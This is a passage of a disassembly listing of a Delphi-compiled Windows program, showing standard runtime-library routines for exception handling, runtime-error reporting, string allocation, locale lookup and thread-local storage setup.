0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_4025FA loc_40261B: ; CODE XREF: sub_402584+C0j cmp bl, 61h jb short loc_402623 sub bl, 20h loc_402623: ; CODE XREF: sub_402584+9Aj sub bl, 30h cmp bl, 9 jbe short loc_402636 sub bl, 11h cmp bl, 5 ja short loc_402603 add bl, 0Ah loc_402636: ; CODE XREF: sub_402584+A5j cmp eax, edi ja short loc_402603 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_40261B dec ch jnz short loc_40264C neg eax loc_40264C: ; CODE XREF: sub_402584+72j ; sub_402584+7Bj ... pop ecx xor esi, esi loc_40264F: ; CODE XREF: sub_402584+82j mov [edx], esi pop edi pop esi pop ebx retn sub_402584 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 dd 60D025FFh, 0C08B0040h, 6ADB3353h, 0FFEEE800h, 0F883FFFFh dd 6A1C7507h, 0FFE2E801h, 25FFFFh, 3D0000FFh, 0D00h, 3D0774h dd 75000004h, 8B01B302h, 90C35BC3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, word_40400C mov [ebp-8], eax lea eax, [ebp-4] push eax push 1 push 0 push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h call sub_401068 test eax, eax jnz short loc_402708 xor eax, eax push ebp push offset byte_402701 push dword ptr fs:[eax] mov fs:[eax], esp mov dword ptr [ebp-0Ch], 4 lea eax, [ebp-0Ch] push eax lea eax, [ebp-8] push eax push 0 push 0 push offset aFpumaskvalue ; "FPUMaskValue" mov eax, [ebp-4] push eax call sub_401070 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402708 mov eax, [ebp-4] push eax call sub_401060 retn ; --------------------------------------------------------------------------- byte_402701 db 0E9h, 82h, 2 ; DATA XREF: .data:003D5ABEo ; .data:004026BEo dd 0EFEB0000h ; --------------------------------------------------------------------------- loc_402708: ; CODE XREF: .data:004026B9j ; DATA XREF: .data:003D5AF2o ... mov ax, word_40400C and ax, 0FFC0h mov dx, [ebp-8] and dx, 3Fh or ax, dx mov word_40400C, ax mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: .data:003D5AA8o ; .data:004026A8o aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: .data:003D5ADCo ; .data:004026DCo align 4 dd 0D99BE3DBh, 40400C2Dh, 0C08BC300h, 774C085h, 88B01B2h dd 0C3FC51FFh, 40103D80h, 76010040h, 6A006A11h, 68006A00h dd 0EEDFADFh, 501015FFh, 90C30040h, 40103D80h, 74000040h dd 52505017h, 6A026A54h, 0FAE46800h, 15FF0EEDh, 405010h dd 5808C483h, 408DC3h, 6A016A54h, 0FAE06800h, 15FF0EEDh dd 405010h, 5804C483h, 408DC3h, 40103D80h, 76010040h, 0E9535007h dd 0FFFFFFD8h, 408DC3h, 1974C985h, 8001418Bh, 0C74E939h dd 75EB3980h, 0C0BE0F0Ch, 3EB4141h, 105C183h, 0C08BC3C1h dd 40103D80h, 76010040h, 5152501Dh, 0FFFFCFE8h, 6A5451FFh dd 68006A01h, 0EEDFAE1h, 501015FFh, 59590040h, 90C3585Ah dd 40103D80h, 76010040h, 6A545212h, 68006A01h, 0EEDFAE2h dd 501015FFh, 0C35A0040h, 3D805250h, 404010h, 54107601h dd 6A026Ah, 0EDFAE368h, 1015FF0Eh, 5A004050h, 0C08BC358h dd 424448Bh, 60440F7h, 0F000000h, 11385h, 0DE388100h, 8B0EEDFAh dd 488B1850h, 0FC6E7414h, 0FFFED3E8h, 0C158BFFh, 85004050h dd 0F1840FD2h, 0FF000000h, 0FC085D2h, 0E784h, 24548B00h dd 244C8B0Ch, 0CE398104h, 740EEFFAh, 0FEDAE837h, 3D80FFFFh dd 404014h, 80297600h, 4040103Dh, 20770000h, 4244C8Dh dd 4DE85150h, 83FFFFE7h, 0F5800F8h, 0AB84h, 8BC28900h dd 8B042444h, 30EB0C48h, 448BC289h, 488B0424h, 143D800Ch dd 1004040h, 3D801E76h, 404010h, 50157700h, 824448Dh, 0E8505152h dd 0FFFFE710h, 5900F883h, 7074585Ah, 2044883h, 56DB3153h dd 8B645557h, 5250531Bh, 24548B51h, 50006A28h, 40293468h dd 15FF5200h, 405014h, 28247C8Bh, 93FE8h, 0B0FF00h, 89000000h dd 0A0h, 86F8B00h, 0C7045F8Bh, 29600447h, 0C3830040h, 0FE66E805h dd 0E3FFFFFFh, 23E9h, 912E800h, 888B0000h, 0 dd 9089118Bh, 0 dd 0E908418Bh, 0FFFFFDE0h, 1B8h, 0C08BC300h, 424448Bh dd 824548Bh, 60440F7h, 74000000h, 44A8B1Fh, 0B80442C7h dd 53004029h, 8B555756h, 0C183086Ah, 0FE46E805h, 0D1FFFFFFh dd 5B5E5F5Dh, 1B8h, 0C08BC300h, 3024448Bh, 0B0440C7h, 0E800402Ah dd 8ACh, 908Bh, 0A8B0000h, 8889h, 428B0000h, 460830Ch dd 0DE3881FDh, 740EEDFAh, 8428B0Dh, 0FFFD6BE8h, 0FD72E8FFh dd 0C031FFFFh, 6414C483h, 8B59108Bh, 5D118912h, 0B85B5E5Fh dd 1, 408DC3h, 863E8h, 908B00h, 8B000000h, 88890Ah, 8B000000h dd 31E80842h, 5AFFFFFDh, 2C24648Bh, 6459C031h, 5D580889h dd 0FFFDDFE8h, 0C3E2FFFFh ; =============== S U B R O U T I N E ======================================= sub_402A44 proc near ; CODE XREF: sub_401E64+F5p ; sub_401E64+14Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor edx, edx mov ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, 5 mov fs:[edx], eax call ecx retn 0Ch sub_402A44 endp ; --------------------------------------------------------------------------- db 0C3h, 8Bh, 0C0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_402A97 jz short loc_402AC9 cmp eax, 0C000008Eh jg short loc_402A89 jz short loc_402ACD sub eax, 0C0000005h jz short loc_402AD9 sub eax, 87h jz short loc_402AC1 dec eax jz short loc_402AD5 jmp short loc_402AE9 ; --------------------------------------------------------------------------- loc_402A89: ; CODE XREF: .data:00402A72j add eax, 3FFFFF71h sub eax, 2 jb short loc_402AC9 jz short loc_402AC5 jmp short loc_402AE9 ; --------------------------------------------------------------------------- loc_402A97: ; CODE XREF: .data:00402A69j cmp eax, 0C0000096h jg short loc_402AAF jz short loc_402ADD sub eax, 0C0000093h jz short loc_402AD5 dec eax jz short loc_402ABD dec eax jz short loc_402AD1 jmp short loc_402AE9 ; --------------------------------------------------------------------------- loc_402AAF: ; CODE XREF: .data:00402A9Cj sub eax, 0C00000FDh jz short loc_402AE5 sub eax, 3Dh jz short loc_402AE1 jmp short loc_402AE9 ; --------------------------------------------------------------------------- loc_402ABD: ; CODE XREF: .data:00402AA8j mov al, 0C8h jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AC1: ; CODE XREF: .data:00402A82j mov al, 0C9h jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: .data:00402A93j mov al, 0CDh jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AC9: ; CODE XREF: .data:00402A6Bj ; .data:00402A91j mov al, 0CFh jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402ACD: ; CODE XREF: .data:00402A74j mov al, 0C8h jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AD1: ; CODE XREF: .data:00402AABj mov al, 0D7h jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AD5: ; CODE XREF: .data:00402A85j ; .data:00402AA5j mov al, 0CEh jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AD9: ; CODE XREF: .data:00402A7Bj mov al, 0D8h jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402ADD: ; CODE XREF: .data:00402A9Ej mov al, 0DAh jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AE1: ; CODE XREF: .data:00402AB9j mov al, 0D9h jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AE5: ; CODE XREF: .data:00402AB4j mov al, 0CAh jmp short loc_402AEB ; --------------------------------------------------------------------------- loc_402AE9: ; CODE XREF: .data:00402A87j ; .data:00402A95j ... mov al, 0FFh loc_402AEB: ; CODE XREF: .data:00402ABFj ; .data:00402AC3j ... and eax, 0FFh mov edx, [edx+0Ch] call sub_402478 ; --------------------------------------------------------------------------- dd 4C25Dh dword_402AFC dd 424448Bh, 60440F7h, 0F000000h, 8985h, 103D8000h, 4040h ; DATA XREF: sub_3D5F9C+Do ; sub_402B9C+Do dd 448D0F77h, 0E8500424h, 0FFFFE4F8h, 7400F883h, 24448B71h dd 25E8FC04h, 8BFFFFFCh, 6A082454h, 42685000h, 5200402Bh dd 501415FFh, 5C8B0040h, 3B810424h, 0EEDFADEh, 8B14538Bh dd 1D741843h, 500C158Bh, 0D2850040h, 0FEFA840Fh, 0D889FFFFh dd 0C085D2FFh, 0FEEE840Fh, 538BFFFFh, 0FCC6E80Ch, 0D8BFFFFh dd 405004h, 274C985h, 4C8BD1FFh, 0D9B80424h, 8B000000h dd 14891451h, 34AE924h, 0C0310000h, 408DC3h ; =============== S U B R O U T I N E ======================================= sub_402B9C proc near ; CODE XREF: sub_402CA4+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset dword_402AFC mov [eax+8], ebp mov dword_405624, eax retn sub_402B9C endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_402BBC proc near ; CODE XREF: sub_402DFC:loc_402E86p xor edx, edx mov eax, dword_405624 test eax, eax jz short locret_402BE3 mov ecx, fs:[edx] cmp eax, ecx jnz short loc_402BD6 mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_402BD4: ; CODE XREF: sub_402BBC+21j mov ecx, [ecx] loc_402BD6: ; CODE XREF: sub_402BBC+10j cmp ecx, 0FFFFFFFFh jz short locret_402BE3 cmp [ecx], eax jnz short loc_402BD4 mov eax, [eax] mov [ecx], eax locret_402BE3: ; CODE XREF: sub_402BBC+9j ; sub_402BBC+1Dj retn sub_402BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402BE4 proc near ; CODE XREF: sub_402DFC:loc_402E55p push ebp mov ebp, esp push ebx push esi push edi mov edi, offset dword_405620 mov eax, [edi+8] test eax, eax jz short loc_402C3E mov ebx, [edi+0Ch] mov esi, [eax+4] xor edx, edx push ebp push offset word_402C2A push dword ptr fs:[edx] mov fs:[edx], esp test ebx, ebx jle short loc_402C20 loc_402C0E: ; CODE XREF: sub_402BE4+3Aj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_402C1C call eax loc_402C1C: ; CODE XREF: sub_402BE4+34j test ebx, ebx jg short loc_402C0E loc_402C20: ; CODE XREF: sub_402BE4+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_402C3E ; --------------------------------------------------------------------------- word_402C2A dw 2DE9h ; DATA XREF: sub_3D5FE4+1Bo ; sub_402BE4+1Bo dd 0E8FFFFFCh, 0FFFFFFB0h, 0FFFD87E8h, 0FDD6E8FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_402C3E: ; CODE XREF: sub_402BE4+10j ; sub_402BE4+44j pop edi pop esi pop ebx pop ebp retn sub_402BE4 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C44 proc near ; CODE XREF: sub_402CA4+3Ap push ebp mov ebp, esp push ebx push esi push edi mov eax, dword_405628 test eax, eax jz short loc_402C9E mov esi, [eax] xor ebx, ebx mov edi, [eax+4] xor edx, edx push ebp push offset word_402C8A push dword ptr fs:[edx] mov fs:[edx], esp cmp esi, ebx jle short loc_402C80 loc_402C6C: ; CODE XREF: sub_402C44+3Aj mov eax, [edi+ebx*8] inc ebx mov dword_40562C, ebx test eax, eax jz short loc_402C7C call eax loc_402C7C: ; CODE XREF: sub_402C44+34j cmp esi, ebx jg short loc_402C6C loc_402C80: ; CODE XREF: sub_402C44+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_402C9E ; --------------------------------------------------------------------------- word_402C8A dw 0CDE9h ; DATA XREF: sub_3D6044+19o ; sub_402C44+19o dd 0E8FFFFFBh, 0FFFFFF50h, 0FFFD27E8h, 0FD76E8FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_402C9E: ; CODE XREF: sub_402C44+Dj ; sub_402C44+44j pop edi pop esi pop ebx pop ebp retn sub_402C44 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_402CA4 proc near ; CODE XREF: sub_4032C8+3Ap mov dword_405010, offset dword_401008 mov dword_405014, offset dword_401010 mov dword_405628, eax xor eax, eax mov dword_40562C, eax mov dword_405630, edx mov eax, [edx+4] mov dword_40501C, eax call sub_402B9C mov byte_405024, 0 call sub_402C44 retn sub_402CA4 endp ; =============== S U B R O U T I N E ======================================= sub_402CE4 proc near ; CODE XREF: sub_402DFC+38p push ebx push esi push edi mov esi, offset aRuntimeErrorAt ; "Runtime error at 00000000" mov cl, 10h mov ebx, dword_404000 loc_402CF4: ; CODE XREF: sub_402CE4+33j mov eax, ebx mov edi, 0Ah cdq idiv edi add dl, 30h xor eax, eax mov al, cl mov [esi+eax], dl mov eax, ebx mov ebx, 0Ah cdq idiv ebx mov ebx, eax dec ecx test ebx, ebx jnz short loc_402CF4 mov cl, 1Ch mov eax, dword_404004 loc_402D20: ; CODE XREF: sub_402CE4+54j mov edx, eax and edx, 0Fh mov dl, byte_404074[edx] xor ebx, ebx mov bl, cl mov [esi+ebx], dl shr eax, 4 dec ecx test eax, eax jnz short loc_402D20 pop edi pop esi pop ebx retn sub_402CE4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_402D40 proc near ; CODE XREF: sub_402DFC+9Ep xor eax, eax xchg eax, dword_404000 neg eax sbb eax, eax inc eax mov edi, offset dword_405620 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_402D40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C3h, 8Bh, 0C0h ; =============== S U B R O U T I N E ======================================= sub_402D70 proc near ; CODE XREF: sub_402DFC+3Dp var_4 = byte ptr -4 push ecx cmp byte_405034, 0 jz short loc_402DD1 cmp word_405208, 0D7B2h jnz short loc_402D99 cmp dword_405210, 0 jbe short loc_402D99 mov eax, offset dword_405204 call dword_405220 loc_402D99: ; CODE XREF: sub_402D70+13j ; sub_402D70+1Cj push 0 lea eax, [esp+8+var_4] push eax push 1Eh push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0FFFFFFF5h call sub_401000 ; GetStdHandle push eax call sub_401020 ; WriteFile push 0 lea eax, [esp+8+var_4] push eax push 2 push offset dword_402DF8 push 0FFFFFFF5h call sub_401000 ; GetStdHandle push eax call sub_401020 ; WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_402DD1: ; CODE XREF: sub_402D70+8j cmp byte_404018, 0 jnz short loc_402DED push 0 push offset aError ; "Error" push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0 call sub_401030 loc_402DED: ; CODE XREF: sub_402D70+68j pop edx retn sub_402D70 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 2 dword_402DF8 dd 0A0Dh ; sub_402D70+4Do ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_402DFC proc near ; CODE XREF: sub_402ED4+5p ; .data:00403567p push ebx push esi push edi push ebp mov ebx, offset dword_405620 mov esi, offset dword_404000 mov edi, offset dword_405030 cmp byte ptr [ebx+28h], 0 jnz short loc_402E2B cmp dword ptr [edi], 0 jz short loc_402E2B loc_402E1A: ; CODE XREF: sub_402DFC+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_402E1A loc_402E2B: ; CODE XREF: sub_402DFC+17j ; sub_402DFC+1Cj cmp dword_404004, 0 jz short loc_402E45 call sub_402CE4 call sub_402D70 xor eax, eax mov dword_404004, eax loc_402E45: ; CODE XREF: sub_402DFC+36j ; sub_402DFC+CEj cmp byte ptr [ebx+28h], 2 jnz short loc_402E55 cmp dword ptr [esi], 0 jnz short loc_402E55 xor eax, eax mov [ebx+0Ch], eax loc_402E55: ; CODE XREF: sub_402DFC+4Dj ; sub_402DFC+52j call sub_402BE4 cmp byte ptr [ebx+28h], 1 jbe short loc_402E65 cmp dword ptr [esi], 0 jz short loc_402E86 loc_402E65: ; CODE XREF: sub_402DFC+62j mov eax, [ebx+10h] test eax, eax jz short loc_402E86 call sub_402FF8 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_402E86 test eax, eax jz short loc_402E86 push eax call sub_401038 ; FreeLibrary loc_402E86: ; CODE XREF: sub_402DFC+67j ; sub_402DFC+6Ej ... call sub_402BBC cmp byte ptr [ebx+28h], 1 jnz short loc_402E94 call dword ptr [ebx+24h] loc_402E94: ; CODE XREF: sub_402DFC+93j cmp byte ptr [ebx+28h], 0 jz short loc_402E9F call sub_402D40 loc_402E9F: ; CODE XREF: sub_402DFC+9Cj cmp dword ptr [ebx], 0 jnz short loc_402EBB cmp dword_405018, 0 jz short loc_402EB3 call dword_405018 loc_402EB3: ; CODE XREF: sub_402DFC+AFj mov eax, [esi] push eax call sub_401028 ; ExitProcess loc_402EBB: ; CODE XREF: sub_402DFC+A6j mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_402E45 sub_402DFC endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Dh dd 0C35B5E5Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_402ED4 proc near ; CODE XREF: sub_402478+6p ; sub_402EE0+6j mov dword_404000, eax call sub_402DFC sub_402ED4 endp ; --------------------------------------------------------------------------- dw 90C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_402EE0 proc near ; CODE XREF: sub_403238+1Ap ; sub_403238+2Fp pop dword_404004 jmp sub_402ED4 sub_402EE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= sub_402EEC proc near ; CODE XREF: sub_402F3C+23p ; .data:004030C8p mov edx, [eax] test edx, edx jz short locret_402F0E mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_402F0E lock dec dword ptr [edx-8] jnz short locret_402F0E push eax lea eax, [edx-8] call sub_402458 pop eax locret_402F0E: ; CODE XREF: sub_402EEC+4j ; sub_402EEC+10j ... retn sub_402EEC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_402F10 proc near ; CODE XREF: sub_402F3C+Bp test eax, eax jle short loc_402F38 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_402438 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_402F38: ; CODE XREF: sub_402F10+2j xor eax, eax retn sub_402F10 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_402F3C proc near ; CODE XREF: sub_402F6C+12j push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_402F10 mov ecx, edi mov edi, eax test esi, esi jz short loc_402F5D mov edx, eax mov eax, esi call sub_4024EC loc_402F5D: ; CODE XREF: sub_402F3C+16j mov eax, ebx call sub_402EEC mov [ebx], edi pop edi pop esi pop ebx retn sub_402F3C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_402F6C proc near ; CODE XREF: .data:0040309Ep push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_402F79 not ecx loc_402F79: ; CODE XREF: sub_402F6C+9j pop eax add ecx, eax pop eax pop edi jmp sub_402F3C sub_402F6C endp ; --------------------------------------------------------------------------- db 0C3h dd 45E911B0h, 0C3FFFFF5h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F8C proc near ; CODE XREF: sub_402FF8+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, dword_404020 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402FDF loc_402FA6: ; CODE XREF: sub_402F8C+51j xor eax, eax push ebp push offset byte_402FC7 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_402FD1 ; --------------------------------------------------------------------------- byte_402FC7 db 0E9h ; DATA XREF: sub_3D638C+1Do ; sub_402F8C+1Do dd 0FFFFF890h, 0FFFA43E8h db 0FFh ; --------------------------------------------------------------------------- loc_402FD1: ; CODE XREF: sub_402F8C+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_402FA6 loc_402FDF: ; CODE XREF: sub_402F8C+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_402F8C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_402FE8 proc near ; CODE XREF: sub_4032BC+5p mov edx, dword_40401C mov [eax], edx mov dword_40401C, eax retn sub_402FE8 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FF8 proc near ; CODE XREF: sub_402DFC+70p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax xor edx, edx push ebp push offset dword_40305C push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_402F8C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403063 mov eax, [ebp+var_4] cmp eax, dword_40401C jnz short loc_40303C mov eax, [ebp+var_4] mov eax, [eax] mov dword_40401C, eax jmp short loc_40305B ; --------------------------------------------------------------------------- loc_40303C: ; CODE XREF: sub_402FF8+36j mov eax, dword_40401C test eax, eax jz short loc_40305B loc_403045: ; CODE XREF: sub_402FF8+61j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_403055 mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short loc_40305B ; --------------------------------------------------------------------------- loc_403055: ; CODE XREF: sub_402FF8+52j mov eax, [eax] test eax, eax jnz short loc_403045 loc_40305B: ; CODE XREF: sub_402FF8+42j ; sub_402FF8+4Bj ... retn ; --------------------------------------------------------------------------- dword_40305C dd 0FFF927E9h ; sub_402FF8+Ao db 0FFh, 0EBh, 0C2h ; --------------------------------------------------------------------------- loc_403063: ; CODE XREF: sub_3D63F8:loc_3D645Bj ; sub_402FF8:loc_40305Bj ; DATA XREF: ... pop ecx pop ebp retn sub_402FF8 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp-10h], edx xor edx, edx push ebp push offset word_4030CE push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp-0Bh] push edx push 1004h push eax call sub_401048 ; GetLocaleInfoA lea eax, [ebp-10h] lea edx, [ebp-0Bh] mov ecx, 7 call sub_402F6C mov eax, [ebp-10h] lea edx, [ebp-4] call sub_402584 mov ebx, eax cmp dword ptr [ebp-4], 0 jz short loc_4030B8 xor ebx, ebx loc_4030B8: ; CODE XREF: .data:004030B4j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4030D5 lea eax, [ebp-10h] call sub_402EEC retn ; --------------------------------------------------------------------------- word_4030CE dw 0B5E9h ; DATA XREF: .data:003D6477o ; .data:00403077o dd 0EBFFFFF8h db 0F0h ; --------------------------------------------------------------------------- loc_4030D5: ; CODE XREF: .data:003D64CDj ; .data:004030CDj ; DATA XREF: ... mov eax, ebx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset word_403126 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_4055A4 jnz short loc_403118 mov eax, offset dword_405038 call sub_40252C mov eax, offset dword_405204 call sub_40252C mov eax, offset dword_4053D0 call sub_40252C call sub_40183C loc_403118: ; CODE XREF: .data:004030F3j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40312D retn ; --------------------------------------------------------------------------- word_403126 dw 5DE9h ; DATA XREF: .data:003D64E2o ; .data:004030E2o dd 0EBFFFFF8h db 0F8h ; --------------------------------------------------------------------------- loc_40312D: ; CODE XREF: .data:003D6525j ; .data:00403125j ; DATA XREF: ... pop ebp retn ; --------------------------------------------------------------------------- aRgDu@ db 'ƒ-¤U@',0 dw 0F01h dd 0C583h, 805C600h, 2004040h, 501005C7h, 10080040h, 5C70040h dd 405014h, 401010h, 503605C6h, 0C7020040h, 40500005h dd 402F8400h, 0F4F2E800h, 0C084FFFFh, 19E80574h, 0E8FFFFF5h dd 0FFFFF5D8h, 3C05C766h, 0B0004050h, 5C766D7h, 405208h dd 0C766D7B0h, 4053D405h, 0E8D7B000h, 0FFFFDEA4h, 40502CA3h dd 0DEE2E800h, 28A3FFFFh, 0E8004050h, 0FFFFDED0h, 25h dd 3D80h, 2D748000h, 0FFDEBFE8h, 0FF25FFh, 83660000h, 0C7604F8h dd 55A805C7h, 30040h, 20EB0000h, 0FFDE7BE8h, 0FE86E8FFh dd 0A8A3FFFFh, 0EB004055h, 0DE6AE80Fh, 75E8FFFFh, 0A3FFFFFEh dd 4055A8h, 0FFDE7BE8h, 5020A3FFh, 90C30040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403204 proc near ; CODE XREF: sub_4032C8+Cp jmp dword_4060F8 sub_403204 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40320C proc near ; CODE XREF: sub_403224+3p jmp dword_4060F4 sub_40320C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403214 proc near ; CODE XREF: sub_40327C+25p ; sub_40327C+36p jmp dword_4060F0 sub_403214 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40321C proc near ; CODE XREF: sub_403238+3Dp jmp dword_4060EC sub_40321C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_403224 proc near ; CODE XREF: sub_403238+21p push eax push 40h call sub_40320C retn sub_403224 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_403230 proc near ; CODE XREF: sub_403238+1p mov eax, 8 retn sub_403230 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_403238 proc near ; CODE XREF: sub_40327C:loc_403296p push ebx call sub_403230 mov ebx, eax test ebx, ebx jz short loc_40327A cmp dword_404084, 0FFFFFFFFh jnz short loc_403257 mov eax, 0E2h call sub_402EE0 ; --------------------------------------------------------------------------- loc_403257: ; CODE XREF: sub_403238+13j mov eax, ebx call sub_403224 test eax, eax jnz short loc_40326E mov eax, 0E2h call sub_402EE0 ; --------------------------------------------------------------------------- db 0EBh, 0Ch ; --------------------------------------------------------------------------- loc_40326E: ; CODE XREF: sub_403238+28j push eax mov eax, dword_404084 push eax call sub_40321C loc_40327A: ; CODE XREF: sub_403238+Aj pop ebx retn sub_403238 endp ; =============== S U B R O U T I N E ======================================= sub_40327C proc near ; CODE XREF: sub_402484+20p ; sub_4024DC+3p mov cl, byte_40564C mov eax, dword_404084 test cl, cl jnz short loc_4032B1 mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_403296: ; CODE XREF: sub_40327C+3Dj call sub_403238 mov eax, dword_404084 push eax call sub_403214 test eax, eax jz short loc_4032AB retn ; --------------------------------------------------------------------------- loc_4032AB: ; CODE XREF: sub_40327C+2Cj mov eax, dword_405658 retn ; --------------------------------------------------------------------------- loc_4032B1: ; CODE XREF: sub_40327C+Dj push eax call sub_403214 test eax, eax jz short loc_403296 retn sub_40327C endp ; =============== S U B R O U T I N E ======================================= sub_4032BC proc near ; CODE XREF: sub_4032C8+2Ep mov eax, offset dword_404088 call sub_402FE8 retn sub_4032BC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_4032C8 proc near ; CODE XREF: .data:0040354Bp push ebx mov ebx, eax xor eax, eax mov dword_404084, eax push 0 call sub_403204 mov dword_405650, eax mov eax, dword_405650 mov dword_40408C, eax xor eax, eax mov dword_404090, eax xor eax, eax mov dword_404094, eax call sub_4032BC mov edx, offset dword_404088 mov eax, ebx call sub_402CA4 pop ebx retn sub_4032C8 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, 